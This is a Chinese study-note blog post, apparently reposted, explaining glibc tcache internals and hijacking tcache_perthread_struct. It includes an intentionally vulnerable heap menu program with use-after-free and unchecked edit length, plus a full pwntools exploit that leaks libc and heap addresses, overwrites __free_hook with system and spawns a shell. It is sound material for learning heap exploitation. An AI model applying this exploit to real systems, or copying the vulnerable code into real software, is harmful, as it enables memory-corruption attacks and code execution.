自学内容网 自学内容网

【我的 PWN 学习手札】劫持 tcache_perthread_struct

目录

前言

一、tcache perthread struct

二、劫持 tcache_perthread_struct

三、测试与模板


前言

        tcache 是 glibc 2.26 (ubuntu 17.10) 之后引入的一种技术,目的是提升堆管理的性能,与 fast bin 类似。 tcache 引入了两个新的结构体, tcache_entry 和 tcache_perthread_struct 。  


一、tcache perthread struct

tcache_entry 和 tcache_perthread_struct 定义如下

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;


typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS]; // TCACHE_MAX_BINS = 64
} tcache_perthread_struct;

        tcache_entry 用于链接空闲的 chunk 结构体,其中的 next 指针指向下一个大小相同的 chunk。需 要注意的是这里的 next 指向 chunk 的 user data,而 fast bin 的 fd 指向 chunk 开头的地址。而 且, tcache_entry 会复用空闲 chunk 的 user data 部分。

二、劫持 tcache_perthread_struct

        每个 thread 都会维护一个 tcache_perthread_struct ,它是整个 tcache 的管理结构,一共有TCACHE_MAX_BINS 个计数器和 TCACHE_MAX_BINS 项 tcache_entry 。这个结构在tcache_init 函 数中被初始化在堆上,大小为 0x250(高版本为 0x290)。其中数据部分前 0x40 为counts ,剩下的为 entries 结构。如果能控制这个堆块就可以控制整个 tcache

        因此:leak 堆地址后,利用 tcache poisoning 等手法,将 tcache_perthread_struct 劫持,那么我们就可以随心所欲的实现任意地址 malloc,进而实现任意地址读写。 

三、测试与模板

首先得知道 tcache_perthread_struct 在哪里,好消息是,在堆初始化时该结构体对象生成。因此即是首个堆块。通过 unsortedbin leak,泄露 libc 以及 heap_base。

然后使用 tcache poisoning 申请到 tcache_perthead_struct。注意 tcache 的 next 指向 chunk 的 next 指针域,所以 edit 时地址应该是 heap_base+0x10。然后覆写 counts 以及 entries。 

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0x410)
add(1,0x10)
add(2,0x410)
add(3,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))-0x7b20ea7afca0+0x7b20ea400000
libc.address=libc_base
success(hex(libc_base))

# leak heap
delete(2)
show(2)
heap_base=u64(io.recv(6).ljust(8,b'\x00')) & ~ 0xfff
success(hex(heap_base))

# tcache poisoning
add(4,0x250)
delete(4)
# tcache_perthread_struct
edit(4,0x8,p64(heap_base+0x10))
gdb.attach(io);
add(5,0x250)
add(6,0x250)
# edit(6,64+8*64,p8(7)*64+p64(0xdeadbeef)*64)
edit(6,64+8*64,p8(7)*64+p64(libc.sym['__free_hook'])*64)
add(7,0x10)
edit(7,0x8,p64(libc.sym['system']))
edit(5,0x8,b'/bin/sh\x00')
delete(5)
pause()
io.interactive()

原文地址:https://blog.csdn.net/Mr_Fmnwon/article/details/142355418

免责声明:本站文章内容转载自网络资源,如本站内容侵犯了原著者的合法权益,可联系本站删除。更多内容请关注自学内容网(zxcms.com)!